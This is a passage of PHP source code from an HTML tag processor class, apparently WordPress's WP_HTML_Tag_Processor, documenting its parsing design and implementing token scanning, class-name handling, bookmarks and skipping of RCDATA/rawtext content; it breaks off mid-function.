 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

